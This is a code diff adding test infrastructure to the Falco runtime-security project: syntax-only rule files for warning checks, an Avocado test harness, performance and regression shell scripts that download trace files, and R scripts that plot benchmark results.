test/falco_rules_warnings.yaml

@@ -0,0 +1,186 @@
+- rule: no_warnings
+  desc: Rule with no warnings
+  condition: evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: no_evttype
+  desc: No evttype at all
+  condition: proc.name=foo
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_not_equals
+  desc: Using != for event type
+  condition: evt.type!=execve
+  output: "None"
+  priority: WARNING
+
+- rule: leading_not
+  desc: condition starts with not
+  condition: not evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_after_evttype
+  desc: != after evt.type, not affecting results
+  condition: evt.type=execve and proc.name!=foo
+  output: "None"
+  priority: WARNING
+
+- rule: not_after_evttype
+  desc: not operator after evt.type, not affecting results
+  condition: evt.type=execve and not proc.name=foo
+  output: "None"
+  priority: WARNING
+
+- rule: leading_trailing_evttypes
+  desc: evttype at beginning and end
+  condition: evt.type=execve and proc.name=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: leading_multtrailing_evttypes
+  desc: one evttype at beginning, multiple at end
+  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_multtrailing_evttypes_using_in
+  desc: one evttype at beginning, multiple at end, using in
+  condition: evt.type=execve and proc.name=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_at_end
+  desc: not_equals at final evttype
+  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type!=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_at_end
+  desc: not operator for final evttype
+  condition: evt.type=execve and proc.name=foo or evt.type=open or not evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_trailing_evttype
+  desc: a not before a trailing event type
+  condition: evt.type=execve and not proc.name=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_trailing_evttype
+  desc: a != before a trailing event type
+  condition: evt.type=execve and proc.name!=foo or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_and_not
+  desc: both != and not before event types
+  condition: evt.type=execve and proc.name!=foo or evt.type=open or not evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_in
+  desc: != before an in with event types
+  condition: evt.type=execve and proc.name!=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_in
+  desc: a not before an in with event types
+  condition: evt.type=execve and not proc.name=foo or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: not_in_before_in
+  desc: a not with in before an in with event types
+  condition: evt.type=execve and not proc.name in (foo, bar) or evt.type in (open, connect)
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_in
+  desc: using in for event types
+  condition: evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_in_plus_trailing
+  desc: using in for event types and a trailing evttype
+  condition: evt.type in (execve, open) and proc.name=foo or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_in_not_equals_before_evttype
+  desc: initial in() for event types, then a != before an additional event type
+  condition: evt.type in (execve, open) and proc.name!=foo or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: leading_in_not_equals_at_evttype
+  desc: initial in() for event types, then a != with an additional event type
+  condition: evt.type in (execve, open) or evt.type!=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_with_evttypes
+  desc: not in for event types
+  condition: not evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: not_with_evttypes_addl
+  desc: not in for event types, and an additional event type
+  condition: not evt.type in (execve, open) or evt.type=connect
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_evttype
+  desc: != before any event type
+  condition: proc.name!=foo and evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_before_in_evttype
+  desc: != before any event type using in
+  condition: proc.name!=foo and evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_evttype
+  desc: not operator before any event type
+  condition: not proc.name=foo and evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_before_evttype_using_in
+  desc: not operator before any event type using in
+  condition: not proc.name=foo and evt.type in (execve, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes
+  desc: event types appearing multiple times
+  condition: evt.type=open or evt.type=open
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_in
+  desc: event types appearing multiple times with in
+  condition: evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_separate_in
+  desc: event types appearing multiple times with separate ins
+  condition: evt.type in (open) or evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+
+- rule: repeated_evttypes_with_mix
+  desc: event types appearing multiple times with mix of = and in
+  condition: evt.type=open or evt.type in (open, open)
+  output: "None"
+  priority: WARNING
+

test/falco_test.py

@@ -0,0 +1,154 @@
+#!/usr/bin/env python
+
+import os
+import re
+import json
+import sets
+
+from avocado import Test
+from avocado.utils import process
+from avocado.utils import linux_modules
+
+class FalcoTest(Test):
+
+    def setUp(self):
+        """
+        Load the sysdig kernel module if not already loaded.
+        """
+        self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))
+
+        self.should_detect = self.params.get('detect', '*', default=False)
+        self.trace_file = self.params.get('trace_file', '*')
+
+        if not os.path.isabs(self.trace_file):
+            self.trace_file = os.path.join(self.basedir, self.trace_file)
+
+        self.json_output = self.params.get('json_output', '*', default=False)
+        self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
+
+        if not os.path.isabs(self.rules_file):
+            self.rules_file = os.path.join(self.basedir, self.rules_file)
+
+        self.rules_warning = self.params.get('rules_warning', '*', default=False)
+        if self.rules_warning == False:
+            self.rules_warning = sets.Set()
+        else:
+            self.rules_warning = sets.Set(self.rules_warning)
+
+        # Maps from rule name to set of evttypes
+        self.rules_events = self.params.get('rules_events', '*', default=False)
+        if self.rules_events == False:
+            self.rules_events = {}
+        else:
+            events = {}
+            for item in self.rules_events:
+                for item2 in item:
+                    events[item2[0]] = sets.Set(item2[1])
+            self.rules_events = events
+
+        if self.should_detect:
+            self.detect_level = self.params.get('detect_level', '*')
+
+        # Doing this in 2 steps instead of simply using
+        # module_is_loaded to avoid logging lsmod output to the log.
+        lsmod_output = process.system_output("lsmod", verbose=False)
+
+        if linux_modules.parse_lsmod_for_module(lsmod_output, 'sysdig_probe') == {}:
+            self.log.debug("Loading sysdig kernel module")
+            process.run('sudo insmod {}/driver/sysdig-probe.ko'.format(self.falcodir))
+
+        self.str_variant = self.trace_file
+
+    def check_rules_warnings(self, res):
+
+        found_warning = sets.Set()
+
+        for match in re.finditer('Rule ([^:]+): warning \(([^)]+)\):', res.stderr):
+            rule = match.group(1)
+            warning = match.group(2)
+            found_warning.add(rule)
+
+        self.log.debug("Expected warning rules: {}".format(self.rules_warning))
+        self.log.debug("Actual warning rules: {}".format(found_warning))
+
+        if found_warning != self.rules_warning:
+            self.fail("Expected rules with warnings {} does not match actual rules with warnings {}".format(self.rules_warning, found_warning))
+
+    def check_rules_events(self, res):
+
+        found_events = {}
+
+        for match in re.finditer('Event types for rule ([^:]+): (\S+)', res.stderr):
+            rule = match.group(1)
+            events = sets.Set(match.group(2).split(","))
+            found_events[rule] = events
+
+        self.log.debug("Expected events for rules: {}".format(self.rules_events))
+        self.log.debug("Actual events for rules: {}".format(found_events))
+
+        for rule in found_events.keys():
+            if found_events.get(rule) != self.rules_events.get(rule):
+                self.fail("rule {}: expected events {} differs from actual events {}".format(rule, self.rules_events.get(rule), found_events.get(rule)))
+
+    def check_detections(self, res):
+        # Get the number of events detected.
+        match = re.search('Events detected: (\d+)', res.stdout)
+        if match is None:
+            self.fail("Could not find a line 'Events detected: <count>' in falco output")
+
+        events_detected = int(match.group(1))
+
+        if not self.should_detect and events_detected > 0:
+            self.fail("Detected {} events when should have detected none".format(events_detected))
+
+        if self.should_detect:
+            if events_detected == 0:
+                self.fail("Detected {} events when should have detected > 0".format(events_detected))
+
+            level_line = '{}: (\d+)'.format(self.detect_level)
+            match = re.search(level_line, res.stdout)
+
+            if match is None:
+                self.fail("Could not find a line '{}: <count>' in falco output".format(self.detect_level))
+
+            events_detected = int(match.group(1))
+
+            if not events_detected > 0:
+                self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, self.detect_level))
+
+    def check_json_output(self, res):
+        if self.json_output:
+            # Just verify that any lines starting with '{' are valid json objects.
+            # Doesn't do any deep inspection of the contents.
+            for line in res.stdout.splitlines():
+                if line.startswith('{'):
+                    obj = json.loads(line)
+                    for attr in ['time', 'rule', 'priority', 'output']:
+                        if not attr in obj:
+                            self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
+
+    def test(self):
+        self.log.info("Trace file %s", self.trace_file)
+
+        # Run the provided trace file though falco
+        cmd = '{}/userspace/falco/falco -r {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format(
+            self.falcodir, self.rules_file, self.falcodir, self.trace_file, self.json_output)
+
+        self.falco_proc = process.SubProcess(cmd)
+
+        res = self.falco_proc.run(timeout=180, sig=9)
+
+        if res.exit_status != 0:
+            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
+                cmd, res.exit_status))
+
+        self.check_rules_warnings(res)
+        if len(self.rules_events) > 0:
+            self.check_rules_events(res)
+        self.check_detections(res)
+        self.check_json_output(res)
+        pass
+
+
+if __name__ == "__main__":
+    main()

test/falco_tests.yaml.in

@@ -0,0 +1,62 @@
+trace_files: !mux
+  builtin_rules_no_warnings:
+    detect: False
+    trace_file: empty.scap
+    rules_warning: False
+
+  test_warnings:
+    detect: False
+    trace_file: empty.scap
+    rules_file: falco_rules_warnings.yaml
+    rules_warning:
+      - no_evttype
+      - evttype_not_equals
+      - leading_not
+      - not_equals_at_end
+      - not_at_end
+      - not_before_trailing_evttype
+      - not_equals_before_trailing_evttype
+      - not_equals_and_not
+      - not_equals_before_in
+      - not_before_in
+      - not_in_before_in
+      - leading_in_not_equals_before_evttype
+      - leading_in_not_equals_at_evttype
+      - not_with_evttypes
+      - not_with_evttypes_addl
+      - not_equals_before_evttype
+      - not_equals_before_in_evttype
+      - not_before_evttype
+      - not_before_evttype_using_in
+    rules_events:
+      - no_warnings: [execve]
+      - no_evttype: [all]
+      - evttype_not_equals: [all]
+      - leading_not: [all]
+      - not_equals_after_evttype: [execve]
+      - not_after_evttype: [execve]
+      - leading_trailing_evttypes: [execve,open]
+      - leading_multtrailing_evttypes: [connect,execve,open]
+      - leading_multtrailing_evttypes_using_in: [connect,execve,open]
+      - not_equals_at_end: [all]
+      - not_at_end: [all]
+      - not_before_trailing_evttype: [all]
+      - not_equals_before_trailing_evttype: [all]
+      - not_equals_and_not: [all]
+      - not_equals_before_in: [all]
+      - not_before_in: [all]
+      - not_in_before_in: [all]
+      - evttype_in: [execve,open]
+      - evttype_in_plus_trailing: [connect,execve,open]
+      - leading_in_not_equals_before_evttype: [all]
+      - leading_in_not_equals_at_evttype: [all]
+      - not_with_evttypes: [all]
+      - not_with_evttypes_addl: [all]
+      - not_equals_before_evttype: [all]
+      - not_equals_before_in_evttype: [all]
+      - not_before_evttype: [all]
+      - not_before_evttype_using_in: [all]
+      - repeated_evttypes: [open]
+      - repeated_evttypes_with_in: [open]
+      - repeated_evttypes_with_separate_in: [open]
+      - repeated_evttypes_with_mix: [open]

test/plot-live.r

@@ -0,0 +1,40 @@
+require(jsonlite)
+library(ggplot2)
+library(GetoptLong)
+
+initial.options <- commandArgs(trailingOnly = FALSE)
+file.arg.name <- "--file="
+script.name <- sub(file.arg.name, "", initial.options[grep(file.arg.name, initial.options)])
+script.basename <- dirname(script.name)
+
+if (substr(script.basename, 1, 1) != '/') {
+    script.basename = paste(getwd(), script.basename, sep='/')
+}
+
+results = paste(script.basename, "results.json", sep='/')
+output = "./output.png"
+
+GetoptLong(
+    "results=s", "Path to results file",
+    "benchmark=s", "Benchmark from results file to graph",
+    "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
+    "output=s", "Output graph file"
+)
+
+res <- fromJSON(results, flatten=TRUE)
+
+res2 = res[res$benchmark == benchmark & res$variant %in% variant,]
+
+plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) +
+    geom_line() +
+    ylab("CPU Usage (%)") +
+    xlab("Time") +
+    ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark))
+    theme(legend.position=c(.2, .88));
+
+print(paste("Writing graph to", output, sep=" "))
+ggsave(file=output)
+
+
+
+

test/plot-traces.r

@@ -0,0 +1,35 @@
+require(jsonlite)
+library(ggplot2)
+library(reshape)
+
+res <- fromJSON("/home/mstemm/results.txt", flatten=TRUE)
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.real)) +
+    geom_bar(stat = "summary", fun.y = "mean") +
+    coord_flip() +
+    facet_grid(shortfile ~ .) +
+    ylab("Wall Clock Time (sec)") +
+    xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-real.png")
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.user)) +
+    geom_bar(stat = "summary", fun.y = "mean") +
+    coord_flip() +
+    facet_grid(shortfile ~ .) +
+    ylab("User Time (sec)") +
+    xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-user.png")
+
+res2 <- melt(res, id.vars = c("config", "shortfile"), measure.vars = c("elapsed.sys", "elapsed.user"))
+plot <- ggplot(data=res2, aes(x=config, y=value, fill=variable, order=variable)) +
+     geom_bar(stat = "summary", fun.y = "mean") +
+     coord_flip() +
+     facet_grid(shortfile ~ .) +
+     ylab("User/System Time (sec)") +
+     xlab("Trace File/Program")
+
+ggsave(file="/mnt/sf_mstemm/res-sys-user.png")

test/run_performance_tests.sh

@@ -0,0 +1,391 @@
+#!/bin/bash
+
+#set -x
+
+trap "cleanup; exit" SIGHUP SIGINT SIGTERM
+
+function download_trace_files() {
+
+    (mkdir -p $TRACEDIR && rm -rf $TRACEDIR/traces-perf && curl -fo $TRACEDIR/traces-perf.zip https://s3.amazonaws.com/download.draios.com/falco-tests/traces-perf.zip && unzip -d $TRACEDIR $TRACEDIR/traces-perf.zip && rm -f $TRACEDIR/traces-perf.zip) || exit 1
+
+}
+
+function time_cmd() {
+    cmd="$1"
+    file="$2"
+
+    benchmark=`basename $file .scap`
+
+    echo -n "$benchmark: "
+    for i in `seq 1 5`; do
+	echo -n "$i "
+	time=`date --iso-8601=sec`
+	/usr/bin/time -a -o $RESULTS_FILE --format "{\"time\": \"$time\", \"benchmark\": \"$benchmark\", \"file\": \"$file\", \"variant\": \"$VARIANT\", \"elapsed\": {\"real\": %e, \"user\": %U, \"sys\": %S}}," $cmd >> $OUTPUT_FILE 2>&1
+    done
+    echo ""
+}
+
+function run_falco_on() {
+    file="$1"
+
+    cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file"
+
+    time_cmd "$cmd" "$file"
+}
+
+function run_sysdig_on() {
+    file="$1"
+
+    cmd="$ROOT/userspace/sysdig/sysdig -N -z -r $file evt.type=none"
+
+    time_cmd "$cmd" "$file"
+}
+
+function write_agent_config() {
+    cat > $ROOT/userspace/dragent/dragent.yaml <<EOF
+customerid: XXX
+app_checks_enabled: false
+log:
+  file_priority: info
+  console_priority: info
+  event_priority: info
+jmx:
+  enabled: false
+statsd:
+  enabled: false
+collector: collector-staging.sysdigcloud.com
+EOF
+
+    if [ $FALCO_AGENT == 1 ]; then
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+falco_engine:
+  enabled: true
+  rules_filename: /etc/falco_rules.yaml
+  sampling_multiplier: 0
+EOF
+    else
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+falco_engine:
+  enabled: false
+EOF
+    fi
+
+    if [ $AGENT_AUTODROP == 1 ]; then
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+autodrop:
+  enabled: true
+EOF
+    else
+	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
+autodrop:
+  enabled: false
+EOF
+    fi
+
+    cat $ROOT/userspace/dragent/dragent.yaml
+}
+
+function run_agent_on() {
+
+    file="$1"
+
+    write_agent_config
+
+    cmd="$ROOT/userspace/dragent/dragent -r $file"
+
+    time_cmd "$cmd" "$file"
+}
+
+function run_trace() {
+
+    if [ ! -e $TRACEDIR ]; then
+	download_trace_files
+    fi
+
+    trace_file="$1"
+
+    if [ $trace_file == "all" ]; then
+	files=($TRACEDIR/traces-perf/*.scap)
+    else
+	files=($TRACEDIR/traces-perf/$trace_file.scap)
+    fi
+
+    for file in ${files[@]}; do
+	if [[ $ROOT == *"falco"* ]]; then
+	    run_falco_on "$file"
+	elif [[ $ROOT == *"sysdig"* ]]; then
+	    run_sysdig_on "$file"
+	else
+	    run_agent_on "$file"
+	fi
+    done
+}
+
+function start_monitor_cpu_usage() {
+    echo "   monitoring cpu usage for sysdig/falco program"
+
+    setsid bash `dirname $0`/cpu_monitor.sh $SUBJ_PID $live_test $VARIANT $RESULTS_FILE $CPU_INTERVAL &
+    CPU_PID=$!
+    sleep 5
+}
+
+function start_subject_prog() {
+
+    echo "   starting falco/sysdig/agent program"
+    # Do a blocking sudo command now just to ensure we have a password
+    sudo bash -c ""
+
+    if [[ $ROOT == *"falco"* ]]; then
+	sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 &
+    elif [[ $ROOT == *"sysdig"* ]]; then
+	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
+    else
+	write_agent_config
+	pushd $ROOT/userspace/dragent
+	sudo ./dragent > ./prog-output.txt 2>&1 &
+	popd
+    fi
+
+    SUDO_PID=$!
+    sleep 5
+    if [[ $ROOT == *"agent"* ]]; then
+	# The agent spawns several processes all below a main monitor
+	# process. We want the child with the lowest pid.
+	MON_PID=`ps -h -o pid --ppid $SUDO_PID`
+	SUBJ_PID=`ps -h -o pid --ppid $MON_PID | head -1`
+    else
+	SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
+    fi
+
+    if [ -z $SUBJ_PID ]; then
+	echo "Could not find pid of subject program--did it start successfully? Not continuing."
+	exit 1
+    fi
+}
+
+function run_htop() {
+    screen -S htop-screen -d -m /usr/bin/htop -d2
+    sleep 90
+    screen -X -S htop-screen quit
+}
+
+function run_juttle_examples() {
+    pushd $SCRIPTDIR/../../juttle-engine/examples
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml up -d
+    sleep 120
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml stop
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml rm -fv    
+    popd
+}
+
+function run_kubernetes_demo() {
+    pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
+    bash run-local.sh
+    bash init.sh
+    sleep 600
+    docker stop $(docker ps -qa)
+    docker rm -fv $(docker ps -qa)
+    popd
+}
+
+function run_live_test() {
+
+    live_test="$1"
+
+    echo "Running live test $live_test"
+
+    case "$live_test" in
+	htop ) CPU_INTERVAL=2;;
+	* ) CPU_INTERVAL=10;;
+    esac
+
+    start_subject_prog
+    start_monitor_cpu_usage
+
+    echo "   starting live program and waiting for it to finish"
+    case "$live_test" in
+	htop ) run_htop ;;
+	juttle-examples ) run_juttle_examples ;;
+	kube-demo ) run_kubernetes_demo ;;
+	* ) usage; cleanup; exit 1 ;;
+    esac
+
+    cleanup
+
+}
+
+function cleanup() {
+
+    if [ -n "$SUBJ_PID" ] ; then
+	echo "   stopping falco/sysdig program $SUBJ_PID"
+	sudo kill $SUBJ_PID
+    fi
+
+    if [ -n "$CPU_PID" ] ; then
+	echo "   stopping cpu monitor program $CPU_PID"
+	kill -- -$CPU_PID
+    fi
+}
+
+run_live_tests() {
+    test="$1"
+
+    if [ $test == "all" ]; then
+	tests="htop juttle-examples kube-demo"
+    else
+	tests=$test
+    fi
+
+    for test in $tests; do
+	run_live_test $test
+    done
+}
+
+function run_phoronix_test() {
+
+    live_test="$1"
+
+    case "$live_test" in
+	pts/aio-stress | pts/fs-mark | pts/iozone | pts/network-loopback | pts/nginx | pts/pybench | pts/redis | pts/sqlite | pts/unpack-linux ) CPU_INTERVAL=2;;
+	* ) CPU_INTERVAL=10;;
+    esac
+
+    echo "Running phoronix test $live_test"
+
+    start_subject_prog
+    start_monitor_cpu_usage
+
+    echo "   starting phoronix test and waiting for it to finish"
+
+    TEST_RESULTS_NAME=$VARIANT FORCE_TIMES_TO_RUN=1 phoronix-test-suite default-run $live_test
+
+    cleanup
+
+}
+
+# To install and configure phoronix:
+#  (redhat instructions, adapt as necessary for ubuntu or other distros)
+#   - install phoronix: yum install phoronix-test-suite.noarch
+#   - install dependencies not handled by phoronix: yum install libaio-devel pcre-devel popt-devel glibc-static zlib-devel nc bc
+#   - fix trivial bugs in tests:
+#      - edit ~/.phoronix-test-suite/installed-tests/pts/network-loopback-1.0.1/network-loopback line "nc -d -l 9999 > /dev/null &" to "nc -d -l 9999 > /dev/null &"
+#      - edit ~/.phoronix-test-suite/test-profiles/pts/nginx-1.1.0/test-definition.xml line "<Arguments>-n 500000 -c 100 http://localhost:8088/test.html</Arguments>" to "<Arguments>-n 500000 -c 100 http://127.0.0.1:8088/test.html</Arguments>"
+#   - phoronix batch-install <test list below>
+
+function run_phoronix_tests() {
+
+    test="$1"
+
+    if [ $test == "all" ]; then
+	tests="pts/aio-stress pts/apache pts/blogbench pts/compilebench pts/dbench pts/fio pts/fs-mark pts/iozone pts/network-loopback pts/nginx pts/pgbench pts/phpbench pts/postmark pts/pybench pts/redis pts/sqlite pts/unpack-linux"
+    else
+	tests=$test
+    fi
+
+    for test in $tests; do
+	run_phoronix_test $test
+    done
+}
+
+run_tests() {
+
+    IFS=':' read -ra PARTS <<< "$TEST"
+
+    case "${PARTS[0]}" in
+	trace ) run_trace "${PARTS[1]}" ;;
+	live ) run_live_tests "${PARTS[1]}" ;;
+	phoronix ) run_phoronix_tests "${PARTS[1]}" ;;
+	* ) usage; exit 1 ;;
+    esac
+}
+
+usage() {
+    echo "Usage: $0 [options]"
+    echo ""
+    echo "Options:"
+    echo "   -h/--help: show this help"
+    echo "   -v/--variant: a variant name to attach to this set of test results"
+    echo "   -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
+    echo "   -R/--results: append test results to this file"
+    echo "   -o/--output: append program output to this file"
+    echo "   -t/--test: test to run. Argument has the following format:"
+    echo "       trace:<trace>: read the specified trace file."
+    echo "            trace:all means run all traces"
+    echo "       live:<live test>: run the specified live test."
+    echo "            live:all means run all live tests."
+    echo "            possible live tests:"
+    echo "                live:htop: run htop -d2"
+    echo "                live:kube-demo: run kubernetes demo from infrastructure repo"
+    echo "                live:juttle-examples: run a juttle demo environment based on docker-compose"
+    echo "       phoronix:<test>: run the specified phoronix test."
+    echo "            if <test> is not 'all', it is passed directly to the command line of \"phoronix-test-suite run <test>\""
+    echo "            if <test> is 'all', a built-in set of phoronix tests will be chosen and run"
+    echo "   -T/--tracedir: Look for trace files in this directory. If doesn't exist, will download trace files from s3"
+    echo "   -A/--agent-autodrop: When running an agent, whether or not to enable autodrop"
+    echo "   -F/--falco-agent: When running an agent, whether or not to enable falco"
+}
+
+OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
+
+if [ $? != 0 ]; then
+    echo "Exiting" >&2
+    exit 1
+fi
+
+eval set -- "$OPTS"
+
+VARIANT="falco"
+ROOT=`dirname $0`/../build
+SCRIPTDIR=`dirname $0`
+RESULTS_FILE=`dirname $0`/results.json
+OUTPUT_FILE=`dirname $0`/program-output.txt
+TEST=trace:all
+TRACEDIR=/tmp/falco-perf-traces.$USER
+CPU_INTERVAL=10
+AGENT_AUTODROP=1
+FALCO_AGENT=1
+
+while true; do
+    case "$1" in
+	-h | --help ) usage; exit 1;;
+	-v | --variant ) VARIANT="$2"; shift 2;;
+	-r | --root ) ROOT="$2"; shift 2;;
+	-R | --results ) RESULTS_FILE="$2"; shift 2;;
+	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
+	-t | --test ) TEST="$2"; shift 2;;
+	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
+	-A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
+	-F | --falco-agent ) FALCO_AGENT="$2"; shift 2;;
+	* ) break;;
+    esac
+done
+
+if [ -z $VARIANT ]; then
+    echo "A test variant name must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $ROOT ]; then
+    echo "A root directory containing a falco/sysdig binary must be provided. Not continuing."
+    exit 1
+fi
+
+ROOT=`realpath $ROOT`
+
+
+if [ -z $RESULTS_FILE ]; then
+    echo "An output file for test results must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $OUTPUT_FILE ]; then
+    echo "An file for program output must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $TEST ]; then
+    echo "A test must be provided. Not continuing."
+    exit 1
+fi
+
+run_tests

test/run_regression_tests.sh

@@ -0,0 +1,72 @@
+#!/bin/bash
+
+SCRIPT=$(readlink -f $0)
+SCRIPTDIR=$(dirname $SCRIPT)
+MULT_FILE=$SCRIPTDIR/falco_tests.yaml
+BRANCH=$1
+
+function download_trace_files() {
+    echo "branch=$BRANCH"
+    for TRACE in traces-positive traces-negative traces-info ; do
+	rm -rf $SCRIPTDIR/$TRACE
+	curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE-$BRANCH.zip || curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
+	unzip -d $SCRIPTDIR $SCRIPTDIR/$TRACE.zip &&
+	rm -rf $SCRIPTDIR/$TRACE.zip
+    done
+}
+
+function prepare_multiplex_fileset() {
+
+    dir=$1
+    detect=$2
+    detect_level=$3
+    json_output=$4
+
+    for trace in $SCRIPTDIR/$dir/*.scap ; do
+	[ -e "$trace" ] || continue
+	NAME=`basename $trace .scap`
+	cat << EOF >> $MULT_FILE
+  $NAME-detect-$detect-json-$json_output:
+    detect: $detect
+    detect_level: $detect_level
+    trace_file: $trace
+    json_output: $json_output
+EOF
+    done
+}
+
+function prepare_multiplex_file() {
+    cp $SCRIPTDIR/falco_tests.yaml.in $MULT_FILE
+
+    prepare_multiplex_fileset traces-positive True Warning False
+    prepare_multiplex_fileset traces-negative False Warning True
+    prepare_multiplex_fileset traces-info True Informational False
+
+    prepare_multiplex_fileset traces-positive True Warning True
+    prepare_multiplex_fileset traces-info True Informational True
+
+    echo "Contents of $MULT_FILE:"
+    cat $MULT_FILE
+}
+
+function run_tests() {
+    CMD="avocado run --multiplex $MULT_FILE --job-results-dir $SCRIPTDIR/job-results -- $SCRIPTDIR/falco_test.py"
+    echo "Running: $CMD"
+    $CMD
+    TEST_RC=$?
+}
+
+
+function print_test_failure_details() {
+    echo "Showing full job logs for any tests that failed:"
+    jq '.tests[] | select(.status != "PASS") | .logfile' $SCRIPTDIR/job-results/latest/results.json  | xargs cat
+}
+
+download_trace_files
+prepare_multiplex_file
+run_tests
+if [ $TEST_RC -ne 0 ]; then
+   print_test_failure_details
+fi
+
+exit $TEST_RC

test/utils/run_sysdig.sh

@@ -0,0 +1,9 @@
+#!/bin/bash
+
+# Run sysdig excluding all events that aren't used by falco and also
+# excluding other high-volume events that aren't essential. This
+# results in smaller trace files.
+
+# The remaining arguments are taken from the command line.
+
+exec sudo sysdig not evt.type in '(mprotect,brk,mq_timedreceive,mq_receive,mq_timedsend,mq_send,getrusage,procinfo,rt_sigprocmask,rt_sigaction,ioctl,clock_getres,clock_gettime,clock_nanosleep,clock_settime,close,epoll_create,epoll_create1,epoll_ctl,epoll_pwait,epoll_wait,eventfd,fcntl,fcntl64,fstat,fstat64,fstatat64,fstatfs,fstatfs64,futex,getitimer,gettimeofday,ioprio_get,ioprio_set,llseek,lseek,lstat,lstat64,mmap,mmap2,munmap,nanosleep,poll,ppoll,pread,pread64,preadv,procinfo,pselect6,pwrite,pwrite64,pwritev,read,readv,recv,recvfrom,recvmmsg,recvmsg,sched_yield,select,send,sendfile,sendfile64,sendmmsg,sendmsg,sendto,setitimer,settimeofday,shutdown,splice,stat,stat64,statfs,statfs64,switch,tee,timer_create,timer_delete,timerfd_create,timerfd_gettime,timerfd_settime,timer_getoverrun,timer_gettime,timer_settime,wait4,write,writev) and user.name!=ec2-user' $@

userspace/falco/CMakeLists.txt

@@ -1,12 +1,12 @@
-include_directories(${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp)
+include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp")
 include_directories("${LUAJIT_INCLUDE}")
 
